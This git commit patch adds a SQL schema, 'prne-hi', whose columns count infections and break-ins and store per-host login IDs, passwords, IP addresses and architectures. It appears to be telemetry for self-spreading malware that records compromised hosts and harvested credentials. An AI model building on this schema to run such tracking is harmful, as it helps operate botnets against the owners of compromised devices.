From 4c882d7216bb12d5821a108b9f11544a075c7024 Mon Sep 17 00:00:00 2001
From: David Timber <mieabby@gmail.com>
Date: Tue, 20 Oct 2020 07:28:50 +1030
Subject: Impl hostinfod and extras ...

* Use EOVERFLOW instead of E2BIG
* Add prne_iobuf_zero()
* Fix format check logic error in prne_htbt_ser_msg_head()
* Add prne_dup_str()
* Add prne_timespec_ms()
---
 src/data/sql/hi-create.sql | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100644 src/data/sql/hi-create.sql

(limited to 'src/data/sql/hi-create.sql')

diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql
new file mode 100644
index 0000000..1887d04
--- /dev/null
+++ b/src/data/sql/hi-create.sql
@@ -0,0 +1,19 @@
+CREATE TABLE `prne-hi` (
+	`instance_id` binary(16) NOT NULL,
+	`inserted` datetime NOT NULL,
+	`updated` datetime NOT NULL,
+	`parent_uptime` bigint(20) unsigned DEFAULT NULL,
+	`child_uptime` bigint(20) unsigned DEFAULT NULL,
+	`bne_cnt` bigint(20) unsigned DEFAULT NULL,
+	`infect_cnt` bigint(20) unsigned DEFAULT NULL,
+	`parent_pid` int(11) unsigned DEFAULT NULL,
+	`child_pid` int(11) unsigned DEFAULT NULL,
+	`prog_ver` binary(16) DEFAULT NULL,
+	`boot_id` binary(16) DEFAULT NULL,
+	`cred_id` varchar(255) DEFAULT NULL,
+	`cred_pw` varchar(255) DEFAULT NULL,
+	`crash_cnt` int(10) unsigned DEFAULT NULL,
+	`arch` varchar(255) DEFAULT NULL,
+	`ipaddr` binary(16) DEFAULT NULL,
+	PRIMARY KEY (`instance_id`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- 
cgit 

